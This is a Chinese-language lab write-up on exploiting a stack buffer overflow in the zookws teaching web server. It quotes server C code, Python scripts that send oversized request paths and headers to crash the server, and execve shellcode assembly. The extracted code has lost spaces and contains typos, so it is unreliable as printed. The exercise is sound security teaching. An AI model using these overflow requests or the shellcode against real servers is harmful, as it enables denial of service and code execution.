研究 Web 服务器的 C 代码(在 `zookd.c` 和 `http.c` 中),并找到一个允许攻击者覆盖函数返回地址的代码示例。提示:查找堆栈上分配的缓冲。对于您的漏洞,请描述可能溢出的缓冲区,如何构建Web服务器的输入(即HTTP请求)以溢出缓冲区并覆盖返回地址,以及将触发缓冲区溢出的调用堆栈(即从`process_client`开始的函数调用链)。
if ((e = getaddrinfo(NULL, portstr, &hints, &res))) errx(1, "getaddrinfo: %s", gai_strerror(e)); if ((sockfd = socket(res->ai_family, res->ai_socktype, res->ai_protocol)) < 0) err(1, "socket"); if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt))) err(1, "setsockopt"); if (fcntl(sockfd, F_SETFD, FD_CLOEXEC) < 0) err(1, "fcntl"); if (bind(sockfd, res->ai_addr, res->ai_addrlen)) err(1, "bind"); if (listen(sockfd, 5)) err(1, "listen"); freeaddrinfo(res);
return sockfd; }
staticintrun_server(constchar *port) { int sockfd = start_server(port); for (;;) { int cltfd = accept(sockfd, NULL, NULL); int pid; int status;
if (cltfd < 0) err(1, "accept");
/* fork a new process for each client process, because the process * builds up state specific for a client (e.g. cookie and other * enviroment variables that are set by request). We want to get rid off * that state when we have processed the request and start the next * request in a pristine state. */ switch ((pid = fork())) { case-1: err(1, "fork");
case0: process_client(cltfd); exit(0); break;
default: close(cltfd); pid = wait(&status); if (WIFSIGNALED(status)) { printf("Child process %d terminated incorrectly, receiving signal %d\n", pid, WTERMSIG(status)); } break; } } }
staticvoidprocess_client(int fd) { staticchar env[8192]; /* static variables are not on the stack */ staticsize_t env_len = 8192; char reqpath[4096]; constchar *errmsg;
/* get the request line */ if ((errmsg = http_request_line(fd, reqpath, env, &env_len))) return http_err(fd, 500, "http_request_line: %s", errmsg);
env_deserialize(env, sizeof(env));
/* get all headers */ if ((errmsg = http_request_headers(fd))) http_err(fd, 500, "http_request_headers: %s", errmsg); else http_serve(fd, getenv("REQUEST_URI"));
/* Set the header name to uppercase and replace hyphens with underscores */ for (i = 0; i < strlen(buf); i++) { buf[i] = toupper(buf[i]); if (buf[i] == '-') buf[i] = '_'; }
/* Decode URL escape sequences in the value */ url_decode(value, sp);
/* Store header in env. variable for application code */ /* Some special headers don't use the HTTP_ prefix. */ if (strcmp(buf, "CONTENT_TYPE") != 0 && strcmp(buf, "CONTENT_LENGTH") != 0) { sprintf(envvar, "HTTP_%s", buf); setenv(envvar, value, 1); } else { setenv(buf, value, 1); } }
编写一个利用缓冲区溢出使 Web 服务器(或其创建的进程之一)崩溃的攻击。此时不需要注入代码。通过使用 gdb检查下面的最后几行来验证您的漏洞是否使服务器崩溃 `dmesg | tail`, 或观察 Web 服务器崩溃。
1.利用reqpath溢出
根据给出的一个exploit-template.py模板去编写EXP,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
defbuild_exploit(shellcode): ## Things that you might find useful in constructing your exploit: ## ## urllib.parse.quote_from_bytes(s).encode('ascii') ## returns string s with "special" characters percent-encoded ## struct.pack("<Q", x) ## returns the 8-byte binary encoding of the 64-bit integer x
req = b"GET /" for i inrange(0,8000): req += b"A" req += b" HTTP/1.0\r\n\r\n" return req
我们构造了一个长度为8000的请求地址,然后开启服务后执行这个EXP,我们就可以看到zookd服务报了一个错误,Child process 1849 terminated incorrectly, receiving signal 11,说明子进程异常终止,我们触发了栈溢出。也可以直接使用make check-crash进行测试。
defbuild_exploit(shellcode): ## Things that you might find useful in constructing your exploit: ## ## urllib.parse.quote_from_bytes(s).encode('ascii') ## returns string s with "special" characters percent-encoded ## struct.pack("<Q", x) ## returns the 8-byte binary encoding of the 64-bit integer x
req = b"GET / HTTP/1.0\r\n" req += b"EXP: " for i inrange(0,8000): req += b"A" req += b"r\n" return req
popladdr: popq %rcx movq %rcx,(ARGV)(%rcx) /* set up argv pointer to pathname */ leaq (16)(%rcx), %rax /* get argv1 addr */ movq %rax, (ARGVONE)(%rcx) /* write argv1 addr */ xorq %rax, %rax /* get a 64-bit zero value */ movq %rax, (ARGVTWO)(%rcx) /* argv2 is null */ movq %rax,(ENVP)(%rcx) /* set up null envp */ movb %al,(15)(%rcx) /* _ to 0 */ movb %al,(STRLEN - 1)(%rcx) /* null-terminate our string */
movb $SYS_execve,%al /* set up the syscall number */ movq %rcx,%rdi /* syscall arg 1: string pathname */ leaq ARGV(%rcx),%rsi /* syscall arg 2: argv */ leaq ENVP(%rcx),%rdx /* syscall arg 3: envp */ syscall /* invoke syscall */
xorq %rax,%rax /* get a 64-bit zero value */ movb $SYS_exit,%al /* set up the syscall number */ xorq %rdi,%rdi /* syscall arg 1: 0 */ syscall /* invoke syscall */
## You might find it useful to define variables that store various ## stack or function addresses from the zookd / zookfs processes, ## which you can then use in build_exploit(); the following are just ## examples.
## This is the function that you should modify to construct an ## HTTP request that will cause a buffer overflow in some part ## of the zookws web server and exploit it.
defbuild_exploit(shellcode): ## Things that you might find useful in constructing your exploit: ## ## urllib.parse.quote_from_bytes(s).encode('ascii') ## returns string s with "special" characters percent-encoded ## struct.pack("<Q", x) ## returns the 8-byte binary encoding of the 64-bit integer x
defurlencode(b): r = b"" for c in b: r += b"%"+c.to_bytes(1,"little").hex().encode() return r ## This is the function that you should modify to construct an ## HTTP request that will cause a buffer overflow in some part ## of the zookws web server and exploit it.
defbuild_exploit(shellcode): ## Things that you might find useful in constructing your exploit: ## ## urllib.parse.quote_from_bytes(s).encode('ascii') ## returns string s with "special" characters percent-encoded ## struct.pack("<Q", x) ## returns the 8-byte binary encoding of the 64-bit integer x